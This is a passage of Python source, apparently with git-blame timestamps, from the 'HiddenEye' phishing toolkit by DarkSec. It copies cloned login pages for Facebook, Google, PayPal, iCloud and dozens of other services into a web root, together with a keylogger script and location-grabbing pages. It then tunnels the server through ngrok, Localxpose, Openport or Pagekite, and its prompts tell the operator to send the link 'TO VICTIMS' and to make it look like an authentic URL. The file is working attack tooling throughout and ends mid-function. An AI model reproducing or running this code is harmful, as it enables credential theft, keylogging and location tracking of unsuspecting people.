2019-11-17 00:19:44 +08:00
# Any actions must be here
2018-10-29 03:49:19 +08:00
2019-11-14 19:02:29 +08:00
import getpass
import base64
2018-10-29 03:49:19 +08:00
from os import system , path
from distutils . dir_util import copy_tree
from time import sleep
import re
import json
from urllib . request import urlopen
2018-12-07 11:59:05 +08:00
from subprocess import check_output , CalledProcessError
2018-12-23 11:50:28 +08:00
from sys import stdout , argv , exit
2019-05-05 21:20:45 +08:00
from Defs . ThemesManager import colorSelector
2018-10-31 00:44:11 +08:00
from Defs . Configurations import readConfig , ifSettingsNotExists
2018-11-20 01:49:09 +08:00
from Defs . Languages import *
2019-11-17 00:19:44 +08:00
2018-11-30 07:20:52 +08:00
installGetText ( )
2018-11-29 04:56:33 +08:00
languageSelector ( )
2018-10-29 04:30:33 +08:00
ifSettingsNotExists ( )
2018-10-29 03:49:19 +08:00
config = readConfig ( )
2018-11-20 01:49:09 +08:00
2018-10-29 03:49:19 +08:00
logFile = None
2019-11-17 00:19:44 +08:00
didBackground = config . get ( " Settings " , " DidBackground " )
2018-10-29 03:49:19 +08:00
for arg in argv :
2019-11-17 00:19:44 +08:00
if arg == " --nolog " : # If true - don't log
2018-10-29 03:49:19 +08:00
didBackground = False
if config . get ( " Settings " , " DidBackground " ) == " True " :
logFile = open ( " log.txt " , " w " )
2019-05-05 21:20:45 +08:00
colorTheme = colorSelector ( )
2019-11-17 00:19:44 +08:00
MAIN0 , MAIN1 , MAIN2 , MAIN3 , MAIN4 = colorTheme [ 0 ] , colorTheme [
1 ] , colorTheme [ 2 ] , colorTheme [ 3 ] , colorTheme [ 4 ]
2019-05-05 21:20:45 +08:00
2019-11-17 00:19:44 +08:00
def runPhishing ( page , customOption ) : # Phishing pages selection menu
2020-05-02 20:17:58 +08:00
system ( ' cd Server && mkdir www && chmod 777 Server -R ' )
system ( ' rm -r Server/www/ && mkdir Server/www ' )
system ( ' touch Server/www/usernames.txt && touch Server/www/ip.txt ' )
system ( ' cp WebPages/ip.php Server/www/ && cp WebPages/KeyloggerData.txt Server/www/ && cp WebPages/keylogger.js Server/www/ && cp WebPages/keylogger.php Server/www/ && rm -rf link.url ' )
2018-10-29 03:49:19 +08:00
if customOption == ' 1 ' and page == ' Facebook ' :
copy_tree ( " WebPages/fb_standard/ " , " Server/www/ " )
2019-04-21 18:15:55 +08:00
elif customOption == ' 2 ' and page == ' Facebook ' :
2018-10-29 03:49:19 +08:00
copy_tree ( " WebPages/fb_advanced_poll/ " , " Server/www/ " )
2019-04-21 18:15:55 +08:00
elif customOption == ' 3 ' and page == ' Facebook ' :
2018-10-29 03:49:19 +08:00
copy_tree ( " WebPages/fb_security_fake/ " , " Server/www/ " )
2019-04-21 18:15:55 +08:00
elif customOption == ' 4 ' and page == ' Facebook ' :
2018-10-29 03:49:19 +08:00
copy_tree ( " WebPages/fb_messenger/ " , " Server/www/ " )
elif customOption == ' 1 ' and page == ' Google ' :
copy_tree ( " WebPages/google_standard/ " , " Server/www/ " )
elif customOption == ' 2 ' and page == ' Google ' :
copy_tree ( " WebPages/google_advanced_poll/ " , " Server/www/ " )
elif customOption == ' 3 ' and page == ' Google ' :
copy_tree ( " WebPages/google_advanced_web/ " , " Server/www/ " )
elif page == ' LinkedIn ' :
copy_tree ( " WebPages/linkedin/ " , " Server/www/ " )
elif page == ' GitHub ' :
copy_tree ( " WebPages/GitHub/ " , " Server/www/ " )
elif page == ' StackOverflow ' :
copy_tree ( " WebPages/stackoverflow/ " , " Server/www/ " )
elif page == ' WordPress ' :
copy_tree ( " WebPages/wordpress/ " , " Server/www/ " )
elif page == ' Twitter ' :
copy_tree ( " WebPages/twitter/ " , " Server/www/ " )
elif page == ' Snapchat ' :
copy_tree ( " WebPages/Snapchat_web/ " , " Server/www/ " )
elif page == ' Yahoo ' :
copy_tree ( " WebPages/yahoo_web/ " , " Server/www/ " )
elif page == ' Twitch ' :
copy_tree ( " WebPages/twitch/ " , " Server/www/ " )
elif page == ' Microsoft ' :
copy_tree ( " WebPages/live_web/ " , " Server/www/ " )
elif page == ' Steam ' :
copy_tree ( " WebPages/steam/ " , " Server/www/ " )
elif page == ' iCloud ' :
copy_tree ( " WebPages/iCloud/ " , " Server/www/ " )
elif customOption == ' 1 ' and page == ' Instagram ' :
copy_tree ( " WebPages/Instagram_web/ " , " Server/www/ " )
elif customOption == ' 2 ' and page == ' Instagram ' :
copy_tree ( " WebPages/Instagram_autoliker/ " , " Server/www/ " )
2018-12-12 18:59:32 +08:00
elif customOption == ' 3 ' and page == ' Instagram ' :
2019-03-02 16:05:38 +08:00
copy_tree ( " WebPages/Instagram_advanced_attack/ " , " Server/www/ " )
elif customOption == ' 4 ' and page == ' Instagram ' :
2019-05-05 21:20:45 +08:00
copy_tree ( " WebPages/Instagram_VerifiedBadge/ " , " Server/www/ " )
2019-04-19 22:36:23 +08:00
elif customOption == ' 5 ' and page == ' Instagram ' :
copy_tree ( " WebPages/instafollowers/ " , " Server/www/ " )
2018-10-29 03:49:19 +08:00
elif customOption == ' 1 ' and page == ' VK ' :
copy_tree ( " WebPages/VK/ " , " Server/www/ " )
elif customOption == ' 2 ' and page == ' VK ' :
copy_tree ( " WebPages/VK_poll_method/ " , " Server/www/ " )
2019-04-19 22:36:23 +08:00
elif page == ' GitLab ' :
copy_tree ( " WebPages/gitlab/ " , " Server/www/ " )
elif page == ' NetFlix ' :
2019-05-05 21:20:45 +08:00
copy_tree ( " WebPages/netflix/ " , " Server/www/ " )
2019-04-19 22:36:23 +08:00
elif page == ' Origin ' :
2019-05-05 21:20:45 +08:00
copy_tree ( " WebPages/origin/ " , " Server/www/ " )
2019-04-19 22:36:23 +08:00
elif page == ' Pinterest ' :
2019-05-05 21:20:45 +08:00
copy_tree ( " WebPages/pinterest/ " , " Server/www/ " )
2019-04-19 22:36:23 +08:00
elif page == ' ProtonMail ' :
2019-05-05 21:20:45 +08:00
copy_tree ( " WebPages/protonmail/ " , " Server/www/ " )
2019-04-19 22:36:23 +08:00
elif page == ' Spotify ' :
2019-05-05 21:20:45 +08:00
copy_tree ( " WebPages/spotify/ " , " Server/www/ " )
2019-04-21 18:15:55 +08:00
elif page == ' Quora ' :
copy_tree ( " WebPages/quora/ " , " Server/www/ " )
elif page == ' PornHub ' :
copy_tree ( " WebPages/pornhub/ " , " Server/www/ " )
elif page == ' Adobe ' :
2019-05-05 21:20:45 +08:00
copy_tree ( " WebPages/adobe/ " , " Server/www/ " )
2019-04-21 18:15:55 +08:00
elif page == ' Badoo ' :
2019-05-05 21:20:45 +08:00
copy_tree ( " WebPages/badoo/ " , " Server/www/ " )
2019-04-21 18:15:55 +08:00
elif page == ' CryptoCurrency ' :
2019-05-05 21:20:45 +08:00
copy_tree ( " WebPages/cryptocurrency/ " , " Server/www/ " )
2019-04-21 18:15:55 +08:00
elif page == ' DevianArt ' :
2019-05-05 21:20:45 +08:00
copy_tree ( " WebPages/devianart/ " , " Server/www/ " )
2019-04-21 18:15:55 +08:00
elif page == ' DropBox ' :
copy_tree ( " WebPages/dropbox/ " , " Server/www/ " )
elif page == ' eBay ' :
2019-05-05 21:20:45 +08:00
copy_tree ( " WebPages/ebay/ " , " Server/www/ " )
2019-11-18 18:00:29 +08:00
elif page == ' Myspace ' :
2019-04-21 18:15:55 +08:00
copy_tree ( " WebPages/myspace/ " , " Server/www/ " )
elif page == ' PayPal ' :
copy_tree ( " WebPages/paypal/ " , " Server/www/ " )
elif page == ' Shopify ' :
copy_tree ( " WebPages/shopify/ " , " Server/www/ " )
elif page == ' Verizon ' :
copy_tree ( " WebPages/verizon/ " , " Server/www/ " )
elif page == ' Yandex ' :
copy_tree ( " WebPages/yandex/ " , " Server/www/ " )
2019-07-12 13:59:08 +08:00
elif customOption == ' 1 ' and page == ' Reddit ' :
copy_tree ( " WebPages/Reddit/ " , " Server/www/ " )
elif customOption == ' 2 ' and page == ' Reddit ' :
copy_tree ( " WebPages/Reddit-old/ " , " Server/www/ " )
2019-10-25 23:47:46 +08:00
elif page == ' Subitoit ' :
copy_tree ( " WebPages/subitoit/ " , " Server/www/ " )
2019-10-30 03:14:29 +08:00
elif page == ' PlayStation ' :
copy_tree ( ' WebPages/playstation/ ' , " Server/www/ " )
2019-11-18 18:00:29 +08:00
elif page == ' Xbox ' :
copy_tree ( ' WebPages/xbox/ ' , " Server/www/ " )
2020-01-08 09:18:21 +08:00
elif page == ' CUSTOM(1) ' :
print ( " \n \n {0} [ {1} * {0} ] {1} Custom Folder Directory is {0} WebPages/CUSTOM(1) " . format ( MAIN0 , MAIN4 ) )
print ( " \n {0} [ {1} * {0} ] {1} Please Read The manual.txt File Available At {0} [WebPages/CUSTOM(1)] " . format ( MAIN0 , MAIN4 ) )
input ( " \n \n {0} [ {1} * {0} ] {1} If You Have Set Up The Files Correctly, {0} Press Enter To continue. " . format ( MAIN0 , MAIN4 ) )
print ( " \n {0} [ {1} * {0} ] {1} Copying Your Files To Server/www Folder... " . format ( MAIN0 , MAIN4 ) )
sleep ( 3 )
copy_tree ( ' WebPages/CUSTOM(1)/ ' , " Server/www/ " )
elif page == ' CUSTOM(2) ' :
print ( " \n \n {0} [ {1} * {0} ] {1} Custom Folder Directory is {0} WebPages/CUSTOM(2) " . format ( MAIN0 , MAIN4 ) )
print ( " \n {0} [ {1} * {0} ] {1} Please Read The manual.txt File Available At {0} [WebPages/CUSTOM(2)] " . format ( MAIN0 , MAIN4 ) )
input ( " \n \n {0} [ {1} * {0} ] {1} If You Have Set Up The Files Correctly, {0} Press Enter To continue. " . format ( MAIN0 , MAIN4 ) )
print ( " \n {0} [ {1} * {0} ] {1} Copying Your Files To Server/www Folder... " . format ( MAIN0 , MAIN4 ) )
sleep ( 3 )
copy_tree ( ' WebPages/CUSTOM(2)/ ' , " Server/www/ " )
2020-01-20 16:27:13 +08:00
# Tools Below && Phishing Pages Above
elif customOption == ' 1 ' and page == ' LOCATION ' :
sleep ( 3 )
copy_tree ( ' WebPages/TOOLS/nearyou ' , " Server/www/ " )
print ( " \n \n {0} [ {1} * {0} ] {1} PLEASE USE TUNNELS/URL WITH ' {0} https {1} ' \n {0} [ {1} * {0} ] {1} Browsers Trusts only Https Links To Share Location \n " . format ( MAIN0 , MAIN4 ) )
input ( ' \n Press Enter To continue... ' )
elif customOption == ' 2 ' and page == ' LOCATION ' :
sleep ( 3 )
copy_tree ( ' WebPages/TOOLS/gdrive ' , " Server/www/ " )
print ( " \n \n {0} [ {1} * {0} ] {1} PLEASE USE TUNNELS/URL WITH ' {0} https {1} ' \n {0} [ {1} * {0} ] {1} Browsers Trusts only Https Links To Share Location \n {0} [ {1} * {0} ] {1} {0} Tip: {1} Use Google Drive File Url as Custom Url while asked. " . format ( MAIN0 , MAIN4 ) )
input ( ' \n Press Enter To continue... ' )
2019-04-19 22:36:23 +08:00
else :
2020-01-10 13:07:18 +08:00
endMessage ( port )
2019-05-05 21:20:45 +08:00
2019-11-17 00:19:44 +08:00
def selectPort ( ) : # Question where user must select port
system ( ' clear ' )
print ( '''
2019-07-30 19:24:16 +08:00
{ 1 } _ _ . ___ ___ ___ _ _ { 0 } ___ _ _ ___ { 1 }
| __ | | ] | ] | | __ | \ | { 0 } | __ \__ / | __ { 1 }
| | | ] __ | ] __ | | __ | \| { 0 } | __ | | | __ { 1 }
{ 0 } http : / / github . com / darksecdevelopers
2019-11-17 00:19:44 +08:00
{ 0 } * * BY : DARKSEC * * \n \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n { 0 } [ WEBSERVER PORT SELECTION ] { 1 } ! ! { 0 } \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ''' .format(MAIN0, MAIN2))
2020-01-08 09:18:21 +08:00
print ( " \n {0} [ {1} * {0} ] {0} Select Any Available Port [1-65535]: {1} " . format ( MAIN0 , MAIN4 ) )
2019-11-17 00:19:44 +08:00
choice = input ( " \n {0} HiddenEye >>> {2} " . format ( MAIN0 , MAIN4 , MAIN2 ) )
try :
if ( int ( choice ) > 65535 or int ( choice ) < 1 ) :
2019-07-30 19:24:16 +08:00
return selectPort ( )
2019-11-17 00:19:44 +08:00
else :
return choice
except :
return selectPort ( )
2019-07-30 19:24:16 +08:00
2019-11-17 00:19:44 +08:00
def selectServer ( port ) : # Question where user must select server
system ( ' clear ' )
print ( '''
2019-01-28 06:45:33 +08:00
{ 1 } _ _ . ___ ___ ___ _ _ { 0 } ___ _ _ ___ { 1 }
| __ | | ] | ] | | __ | \ | { 0 } | __ \__ / | __ { 1 }
| | | ] __ | ] __ | | __ | \| { 0 } | __ | | | __ { 1 }
{ 0 } http : / / github . com / darksecdevelopers
2019-11-17 00:19:44 +08:00
{ 0 } * * BY : DARKSEC * * \n \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n { 0 } [ HOST SERVER SELECTION ] { 1 } ! ! { 0 } \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ''' .format(MAIN0, MAIN2))
print (
" \n {0} [ {1} * {0} ] {0} Select Any Available Server: {1} " . format ( MAIN0 , MAIN4 ) )
2020-05-02 20:17:58 +08:00
print ( " \n {0} [ {1} 0 {0} ] {1} LOCALHOST \n {0} [ {1} 1 {0} ] {1} Ngrok \n {0} [ {1} 2 {0} ] {1} Serveo {0} (Currently DOWN) \n {0} [ {1} 3 {0} ] {1} Localxpose \n {0} [ {1} 4 {0} ] {1} Localtunnel \n {0} [ {1} 5 {0} ] {1} OpenPort \n {0} [ {1} 6 {0} ] {1} Pagekite \n " . format ( MAIN0 , MAIN2 ) )
2019-11-17 00:19:44 +08:00
choice = input ( " \n {0} HiddenEye >>> {2} " . format ( MAIN0 , MAIN4 , MAIN2 ) )
2020-01-08 09:18:21 +08:00
if choice == ' 0 ' :
system ( ' clear ' )
runLocalhost ( port )
elif choice == ' 1 ' :
2019-11-17 00:19:44 +08:00
system ( ' clear ' )
runNgrok ( port )
elif choice == ' 2 ' :
system ( ' clear ' )
runServeo ( port )
elif choice == ' 3 ' :
system ( ' clear ' )
runLocalxpose ( port )
elif choice == ' 4 ' :
system ( ' clear ' )
runLT ( port , True )
elif choice == ' 5 ' :
2020-01-08 09:18:21 +08:00
system ( ' clear ' )
runOpenport ( port )
2020-05-02 20:17:58 +08:00
elif choice == ' 6 ' :
2020-01-08 09:18:21 +08:00
system ( ' clear ' )
runPagekite ( port )
2019-11-17 00:19:44 +08:00
else :
system ( ' clear ' )
return selectServer ( port )
2020-01-08 09:18:21 +08:00
def runLocalhost ( port ) :
system ( ' clear ' )
print ( '''
{ 1 } _ _ . ___ ___ ___ _ _ { 0 } ___ _ _ ___ { 1 }
| __ | | ] | ] | | __ | \ | { 0 } | __ \__ / | __ { 1 }
| | | ] __ | ] __ | | __ | \| { 0 } | __ | | | __ { 1 }
{ 0 } http : / / github . com / darksecdevelopers
{ 0 } * * BY : DARKSEC * * \n \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n { 0 } [ LOCALHOST SERVER ] { 1 } ! ! { 0 } \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ''' .format(MAIN0, MAIN2))
print ( " \n {0} [ {1} * {0} ] {0} Enter Your LocalHost/Router Address [ifconfig]: {1} " . format ( MAIN0 , MAIN4 ) )
host = input ( " \n {0} HiddenEye >>> {2} " . format ( MAIN0 , MAIN4 , MAIN2 ) )
system ( " fuser -k %s /tcp > /dev/null 2>&1 " . format ( port ) )
system ( " cd Server/www/ && php -S {0} : {1} > /dev/null 2>&1 & " . format ( host , port ) )
print ( ' \n [*] Starting Server On Address:: {0} : {1} ' . format ( host , port ) )
sleep ( 2 )
system ( ' clear ' )
print ( '''
{ 1 } _ _ . ___ ___ ___ _ _ { 0 } ___ _ _ ___ { 1 }
| __ | | ] | ] | | __ | \ | { 0 } | __ \__ / | __ { 1 }
| | | ] __ | ] __ | | __ | \| { 0 } | __ | | | __ { 1 }
{ 0 } http : / / github . com / darksecdevelopers
{ 0 } * * BY : DARKSEC * * \n \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n { 0 } [ RUNNING LOCALHOST SERVER ] { 1 } ! ! { 0 } \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ''' .format(MAIN0, MAIN2))
print ( " \n {0} [ {1} ! {0} ] {1} SEND THIS URL TO THE VICTIMS ON SAME NETWORK- \n {0} [ {1} * {0} ] {1} Localhost URL: {2} http:// {4} : {3} \n " . format ( MAIN0 , MAIN2 , MAIN3 , port , host ) )
print ( " \n " )
def runPagekite ( port ) :
system ( ' clear ' )
print ( '''
{ 1 } _ _ . ___ ___ ___ _ _ { 0 } ___ _ _ ___ { 1 }
| __ | | ] | ] | | __ | \ | { 0 } | __ \__ / | __ { 1 }
| | | ] __ | ] __ | | __ | \| { 0 } | __ | | | __ { 1 }
{ 0 } http : / / github . com / darksecdevelopers
{ 0 } * * BY : DARKSEC * * \n \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n { 0 } [ PAGEKITE SERVER ] { 1 } ! ! { 0 } \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ''' .format(MAIN0, MAIN2))
if 256 == system ( ' which python2 > /dev/null ' ) :
print ( ' [*] Python2 not Installed, Pagekite Only Supports Python2!! ' )
input ( ' \n Press Enter To Try installing Python2 Now.. ' )
system ( ' apt install python2 ' )
if 256 == system ( ' which python2 > /dev/null ' ) :
system ( ' clear ' )
print ( " \n {0} [ {1} * {0} ] {1} FAILED TO INSTALL PYTHON2 (TRY MANUALLY).. {1} " . format ( MAIN0 , MAIN4 ) )
sleep ( 2 )
selectServer ( port )
else :
pass
else :
try :
subdomain = input ( " \n {0} [ {2} * {0} ] {0} Enter A Custom Subdomain Ex.(yourname): \n {0} Custom Subdomain>>> {2} " . format ( MAIN0 , MAIN4 , MAIN2 ) )
print ( " \n {0} [ {1} * {0} ] {1} Use Temporary Email Services(Don ' t Harm Anyone). {1} " . format ( MAIN0 , MAIN4 ) )
2020-04-21 21:15:20 +08:00
print ( " {0} [ {1} * {0} ] {1} Sometime Email verification Required by Pagekite(Stay Alert) {1} " . format ( MAIN0 , MAIN4 ) )
print ( " {0} [ {1} * {0} ] {1} You can also get various subdomain assigned to your subdomain. {1} " . format ( MAIN0 , MAIN4 ) )
print ( " {0} [ {1} * {0} ] {1} Check Control Panel Of pagekite at https://pagekite.net/ . {1} " . format ( MAIN0 , MAIN4 ) )
print ( " {0} [ {1} * {0} ] {1} We are Ready to Launch Pagekite.Press CTRL+C Whenever Need captured Data. {1} " . format ( MAIN0 , MAIN4 ) )
input ( " \n {0} [ {1} * {0} ] {0} Press Enter To Launch The Pagekite... {1} " . format ( MAIN0 , MAIN4 ) )
2020-01-08 09:18:21 +08:00
system ( ' python2 Server/pagekite.py --clean --signup {0} {1} .pagekite.me ' . format ( port , subdomain ) )
2020-04-21 21:15:20 +08:00
except KeyboardInterrupt :
print ( ' [!] Please Copy the Generated Link For Further Use ' )
getCredentials ( port )
2020-01-08 09:18:21 +08:00
def runOpenport ( port ) :
system ( ' clear ' )
print ( '''
{ 1 } _ _ . ___ ___ ___ _ _ { 0 } ___ _ _ ___ { 1 }
| __ | | ] | ] | | __ | \ | { 0 } | __ \__ / | __ { 1 }
| | | ] __ | ] __ | | __ | \| { 0 } | __ | | | __ { 1 }
{ 0 } http : / / github . com / darksecdevelopers
{ 0 } * * BY : DARKSEC * * \n \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n { 0 } [ OPENPORT SERVER ] { 1 } ! ! { 0 } \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ''' .format(MAIN0, MAIN2))
if 256 == system ( ' which openport > /dev/null ' ) :
system ( ' clear ' )
print ( ' [*] Openport not Installed correctly, Try installing it manually !! ' )
print ( ' [*] Check Here ... https://openport.io/download ' )
input ( ' \n Press Enter To Go back.. ' )
2020-01-08 10:42:17 +08:00
selectServer ( port )
2020-01-08 09:18:21 +08:00
else :
manageOpenporturl ( port )
2020-05-02 20:17:58 +08:00
def manageOpenporturl ( port ) :
system ( ' rm output.txt > /dev/null 2>&1 ' )
system ( ' openport -K && openport %s > output.txt & ' % ( port ) )
print ( ' {0} [ {1} * {0} ] {1} Openport Server Running in Background.. Please wait. ' . format ( MAIN0 , MAIN4 ) )
sleep ( 20 ) # Sleep time is important as the openport command takes some time to give response link.
system ( ' cat output.txt | grep -Eo " (http|https)://[a-zA-Z0-9./?=_-]* " | sort -u | grep -v https://openport.io/user > openport.txt ' ) # Taking out the neccesary verification link from output txt file of openport (above).
print ( ' {0} [ {1} * {0} ] {1} Working To Get OpenPort Tunnel Activation Link... ' . format ( MAIN0 , MAIN4 ) )
with open ( ' openport.txt ' ) as f :
read_data = f . read ( )
if ' openport.io/l/ ' in read_data :
print ( ' {0} [ {1} * {0} ] {1} Got Activation Link... ' . format ( MAIN0 , MAIN4 ) )
pass
else :
print ( ' {0} [ {1} ^ {0} ] {1} Failed To Get Openport Activation Link... ' . format ( MAIN0 , MAIN4 ) )
output = open ( ' output.txt ' , ' r ' )
output = output . read ( )
print ( ' {0} [ {1} ! {0} ] {1} Openport Error: \n \n {2} ' . format ( MAIN0 , MAIN4 , output ) )
input ( ' \n \n {0} [ {1} * {0} ] {1} Try Other Tunnels... (Press Enter) ' . format ( MAIN0 , MAIN4 ) )
selectServer ( port )
2020-01-08 09:18:21 +08:00
2020-05-02 20:17:58 +08:00
urlFile = open ( ' openport.txt ' , ' r ' )
urltoverify = urlFile . read ( ) . strip ( )
print ( ' {0} [ {1} * {0} ] {1} Open This Activation Link From Browser to Get Tunnel Link... \n ' . format ( MAIN0 , MAIN4 ) )
print ( ' {0} [ {1} * {0} ] {1} Tunnel Activation Link: {0} {2} ' . format ( MAIN0 , MAIN4 , urltoverify ) )
url = input ( ' \n \n {0} [ {1} * {0} ] {1} Enter The Tunnel Link Found in Browser: {0} ' . format ( MAIN0 , MAIN4 , ) )
sleep ( 4 )
system ( ' clear ' )
print ( '''
{ 1 } _ _ . ___ ___ ___ _ _ { 0 } ___ _ _ ___ { 1 }
| __ | | ] | ] | | __ | \ | { 0 } | __ \__ / | __ { 1 }
| | | ] __ | ] __ | | __ | \| { 0 } | __ | | | __ { 1 }
{ 0 } http : / / github . com / darksecdevelopers
{ 0 } * * BY : DARKSEC * * \n \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n { 0 } [ OPENPORT SERVER ] { 1 } ! ! { 0 } \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ''' .format(MAIN0, MAIN2))
print ( " \n {0} [ {1} ! {0} ] {1} SEND THIS OPENPORT URL TO VICTIMS- \n {0} [ {1} * {0} ] {1} Localhost URL: {2} http://127.0.0.1: {3} \n {0} [ {1} * {0} ] {1} OPENPORT URL: {2} {4} \n " . format ( MAIN0 , MAIN4 , MAIN3 , port , url ) )
2019-11-17 00:19:44 +08:00
2019-11-14 19:02:29 +08:00
def runNgrok ( port ) :
2020-05-02 20:17:58 +08:00
system ( ' killall -2 ngrok > /dev/null ' )
system ( ' clear ' )
2019-11-17 00:19:44 +08:00
print ( '''
2019-04-21 18:15:55 +08:00
{ 1 } _ _ . ___ ___ ___ _ _ { 0 } ___ _ _ ___ { 1 }
| __ | | ] | ] | | __ | \ | { 0 } | __ \__ / | __ { 1 }
| | | ] __ | ] __ | | __ | \| { 0 } | __ | | | __ { 1 }
{ 0 } http : / / github . com / darksecdevelopers
2019-11-17 00:19:44 +08:00
{ 0 } * * BY : DARKSEC * * \n \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n { 0 } [ NGROK SERVER ] { 1 } ! ! { 0 } \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ''' .format(MAIN0, MAIN2))
2020-05-02 20:17:58 +08:00
system ( ' ./Server/ngrok http {} > /dev/null & ' . format ( port ) )
2019-11-17 00:19:44 +08:00
while True :
sleep ( 2 )
system (
' curl -s -N http://127.0.0.1:4040/api/tunnels | grep " https://[0-9a-z]* \ .ngrok.io " -oh > link.url ' )
urlFile = open ( ' link.url ' , ' r ' )
url = urlFile . read ( )
urlFile . close ( )
if re . match ( " https://[0-9a-z]* \ .ngrok.io " , url ) != None :
print ( " \n {0} [ {1} ! {0} ] {1} SEND THIS NGROK URL TO VICTIMS- \n {0} [ {1} * {0} ] {1} Localhost URL: {2} http://127.0.0.1: {3} \n {0} [ {1} * {0} ] {1} NGROK URL: {2} " . format (
MAIN0 , MAIN2 , MAIN3 , port ) + url + " {1} " . format ( MAIN0 , MAIN4 , MAIN3 ) )
print ( " \n " )
break
2019-10-27 16:51:30 +08:00
def runLocalxpose ( port ) :
2019-11-17 00:19:44 +08:00
print ( '''
2019-10-27 16:51:30 +08:00
{ 1 } _ _ . ___ ___ ___ _ _ { 0 } ___ _ _ ___ { 1 }
| __ | | ] | ] | | __ | \ | { 0 } | __ \__ / | __ { 1 }
| | | ] __ | ] __ | | __ | \| { 0 } | __ | | | __ { 1 }
{ 0 } http : / / github . com / darksecdevelopers
2019-11-17 00:19:44 +08:00
{ 0 } * * BY : DARKSEC * * \n \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n { 0 } [ LOCALXPOSE URL TYPE SELECTION ] { 1 } ! ! { 0 } \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n ''' .format(MAIN0, MAIN2))
print ( " \n {0} [ {1} * {0} ] {0} CHOOSE ANY LOCALXPOSE URL TYPE TO GENERATE PHISHING LINK: {1} " . format ( MAIN0 , MAIN2 ) )
print ( " \n {0} [ {1} 1 {0} ] {1} Custom URL {0} (Generates designed url) \n {0} [ {1} 2 {0} ] {1} Random URL {0} (Generates Random url) " . format ( MAIN0 , MAIN2 ) )
2019-10-27 16:51:30 +08:00
choice = input ( " \n \n {0} YOUR CHOICE >>> {2} " . format ( MAIN0 , MAIN4 , MAIN2 ) )
system ( ' clear ' )
if choice == ' 1 ' :
customLocalxpose ( port )
elif choice == ' 2 ' :
randomLocalxpose ( port )
else :
system ( ' clear ' )
2019-11-17 00:19:44 +08:00
return runLocalxpose ( port )
2019-10-27 16:51:30 +08:00
def customLocalxpose ( port ) :
2019-11-17 00:19:44 +08:00
print ( '''
2019-10-27 16:51:30 +08:00
{ 1 } _ _ . ___ ___ ___ _ _ { 0 } ___ _ _ ___ { 1 }
| __ | | ] | ] | | __ | \ | { 0 } | __ \__ / | __ { 1 }
| | | ] __ | ] __ | | __ | \| { 0 } | __ | | | __ { 1 }
{ 0 } http : / / github . com / darksecdevelopers
2019-11-17 00:19:44 +08:00
{ 0 } * * BY : DARKSEC * * \n \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n { 0 } [ CREATE A CUSTOM URL HERE ] { 1 } ! ! { 0 } \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n \n { 0 } [ { 1 } ! { 0 } ] { 1 } YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL . \n \n { 0 } Insert a custom subdomain for Localxpose ( Ex : mysubdomain ) ''' .format(MAIN0, MAIN2))
lnk = input ( " \n {0} CUSTOM Subdomain>>> {2} " . format ( MAIN0 , MAIN4 , MAIN2 ) )
system ( ' ./Server/loclx tunnel http --to : %s --subdomain %s > link.url 2> /dev/null & ' % ( port , lnk ) )
2019-10-27 16:51:30 +08:00
sleep ( 7 )
try :
2019-11-17 00:19:44 +08:00
output = check_output (
" grep -o ' . \ { 0,0 \ }https. \ { 0,100 \ } ' link.url " , shell = True )
2020-01-08 11:37:46 +08:00
url = output . decode ( " utf-8 " )
2019-10-27 16:51:30 +08:00
system ( ' clear ' )
2019-11-17 00:19:44 +08:00
print ( '''
2019-10-27 16:51:30 +08:00
{ 1 } _ _ . ___ ___ ___ _ _ { 0 } ___ _ _ ___ { 1 }
| __ | | ] | ] | | __ | \ | { 0 } | __ \__ / | __ { 1 }
| | | ] __ | ] __ | | __ | \| { 0 } | __ | | | __ { 1 }
{ 0 } http : / / github . com / darksecdevelopers
2019-11-17 00:19:44 +08:00
{ 0 } * * BY : DARKSEC * * \n \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n { 0 } [ CUSTOM SERVEO URL ] { 1 } ! ! { 0 } \n - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ''' .format(MAIN0, MAIN2))
print ( " \n {0} [ {1} ! {0} ] {1} SEND THIS LOCALXPOSE URL TO VICTIMS- \n {0} [ {1} * {0} ] {1} Localhost URL: {2} http://127.0.0.1: {3} \n {0} [ {1} * {0} ] {1} LOCALXPOSE URL: {2} " . format (
MAIN0 , MAIN2 , MAIN3 , port ) + url + " {1} " . format ( MAIN0 , MAIN4 , MAIN3 ) )
2019-10-27 16:51:30 +08:00
print ( " \n " )
except CalledProcessError :
2019-11-17 00:19:44 +08:00
print ( ''' \n \n {0} FAILED TO GET THIS DOMAIN. !!! \n \n {0} LOOKS LIKE CUSTOM URL IS NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE. !!! \n \n {0} [ {1} ! {0} ]TRY TO SELECT ANOTHER CUSTOM DOMAIN {1} (GOING BACK).. !! \n
''' .format(MAIN0, MAIN4))
2019-10-27 16:51:30 +08:00
sleep ( 4 )
system ( ' clear ' )
return customLocalxpose ( port )
2019-11-17 00:19:44 +08:00
2019-10-27 16:51:30 +08:00
def randomLocalxpose ( port ) :
system ( ' clear ' )
2019-11-17 00:19:44 +08:00
print ( '''
2019-10-27 16:51:30 +08:00
{ 1 } _ _ . ___ ___ ___ _ _ { 0 } ___ _ _ ___ { 1 }
| __ | | ] | ] | | __ | \ | { 0 } | __ \__ / | __ { 1 }
| | | ] __ | ] __ | | __ | \| { 0 } | __ | | | __ { 1 }
